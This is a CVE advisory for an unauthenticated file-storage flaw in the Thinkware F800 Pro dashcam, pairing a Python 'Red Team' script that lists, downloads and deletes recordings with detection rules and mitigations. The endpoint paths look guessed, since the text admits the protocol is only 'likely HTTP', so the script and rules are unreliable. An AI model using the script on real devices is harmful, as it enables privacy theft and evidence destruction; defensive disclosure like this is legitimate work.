CVE-2025-2121

Executive Summary

CVE-2025-2121 is a critical vulnerability in the Thinkware Car Dashcam F800 Pro (up to firmware version 20250226) that allows improper access controls over the device’s file storage. An attacker on the same local network can exploit this flaw to read, modify, or delete stored video files without authentication. The vendor has not responded to disclosure, leaving the device unpatched. This poses a significant risk to vehicle surveillance integrity and driver privacy.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a hardware firmware issue.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – requires local network access.
• Attack Complexity (AC): Low (AC:L) – no special conditions.
• Privileges Required (PR): None (PR:N).
• User Interaction (UI): None (UI:N).
• Scope (S): Unchanged (S:U).
• Confidentiality (C): High (C:H) – full file read access.
• Integrity (I): High (I:H) – file modification/deletion.
• Availability (A): High (A:H) – denial of service via file deletion.

Overall CVSS Score: 8.8 (High)

Deep Dive & Mechanics

The Thinkware F800 Pro dashcam exposes its file storage over the local network via an unauthenticated protocol (likely HTTP or proprietary service). The vulnerability lies in the lack of access controls on the file storage endpoint. An attacker can enumerate and manipulate files without any authentication.

Root Cause: The device does not enforce any authentication or authorization checks for file operations (read/write/delete) on the storage interface. This is a classic CWE-284 (Improper Access Control) issue.

Attack Vector: The attacker must be on the same Wi-Fi network as the dashcam. The dashcam typically creates a Wi-Fi hotspot for mobile app connectivity, which is the attack surface.

Impact: An attacker can:

• Download recorded video footage (privacy breach).
• Delete critical evidence (e.g., accident recordings).
• Upload malicious files (e.g., firmware backdoors) if the storage interface allows write operations.

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code is the file storage service (likely a custom HTTP server or embedded web interface). Below is a conceptual representation:

Vulnerable (pseudo-code):

# No authentication check
def handle_file_request(request):
    if request.method == "GET":
        return read_file(request.path)
    elif request.method == "DELETE":
        return delete_file(request.path)

Patched (hypothetical):

def handle_file_request(request):
    if not authenticate(request):
        return 401 Unauthorized
    if request.method == "GET":
        return read_file(request.path)
    elif request.method == "DELETE":
        return delete_file(request.path)

Exploitation & Lab Setup

Red Team

Prerequisites: Kali Linux, Python3, and local network access to the dashcam.

Exploit Script (Python):

import requests

target_ip = "192.168.1.100"  # Dashcam IP
base_url = f"http://{target_ip}/storage"

# List files
response = requests.get(f"{base_url}/list")
print("Files:", response.text)

# Download a specific file
file_path = "/recordings/2025-02-26_12-00-00.mp4"
response = requests.get(f"{base_url}{file_path}")
with open("downloaded_video.mp4", "wb") as f:
    f.write(response.content)

# Delete a file
response = requests.delete(f"{base_url}{file_path}")
print("Delete status:", response.status_code)

Usage:

1. Connect to the dashcam’s Wi-Fi network.
2. Run the script with the correct IP.
3. Observe file listing, download, and deletion.

Blue Team

Detection:

• Monitor for unusual HTTP requests to the dashcam’s IP on port 80/8080.
• Look for patterns like /storage/list, /storage/recordings/ in network logs.
• Alert on multiple DELETE requests to the dashcam.

Honeypot Setup:

• Deploy a fake dashcam service that logs all access attempts.
• Use a Raspberry Pi with a simple HTTP server mimicking the vulnerable endpoint.

Indicators of Compromise (IOCs)

• Network: HTTP requests to http://<dashcam_ip>/storage/ without authentication.
• File: Unauthorized deletion of .mp4 files from the dashcam.
• Log: Dashcam logs showing repeated file access from unknown MAC addresses.
• Behavior: Sudden loss of recorded footage or corrupted files.

Detection Engineering

YARA Rule

rule Thinkware_F800_Pro_Exploit {
    meta:
        description = "Detects exploit attempts against CVE-2025-2121"
        author = "Valters IT"
        date = "2025-02-27"
    strings:
        $s1 = "/storage/list" ascii wide
        $s2 = "/storage/recordings" ascii wide
        $s3 = "DELETE /storage" ascii wide
    condition:
        any of them
}

Sigma Rule

title: Thinkware F800 Pro Unauthenticated File Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to dashcam file storage without authentication
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem:
            - "/storage/list"
            - "/storage/recordings/*"
        cs-method:
            - "GET"
            - "DELETE"
    condition: selection
falsepositives:
    - Legitimate mobile app usage (but app uses authentication)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"Thinkware F800 Pro Unauthenticated File Access"; flow:to_server; content:"/storage/list"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert http any any -> $HOME_NET any (msg:"Thinkware F800 Pro File Deletion Attempt"; flow:to_server; http_method:"DELETE"; content:"/storage/"; http_uri; classtype:attempted-dos; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the dashcam’s Wi-Fi hotspot when not needed.
2. Place the dashcam on a separate VLAN with strict ACLs.
3. Monitor network traffic for anomalous HTTP requests to the dashcam.

Long-term:

• Replace the device with a patched model or vendor-supported alternative.
• If vendor releases a firmware update, apply immediately.
• Implement network segmentation for IoT devices.

Workaround:

• Use a firewall rule to block all inbound traffic to the dashcam except from trusted IPs (e.g., mobile app).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert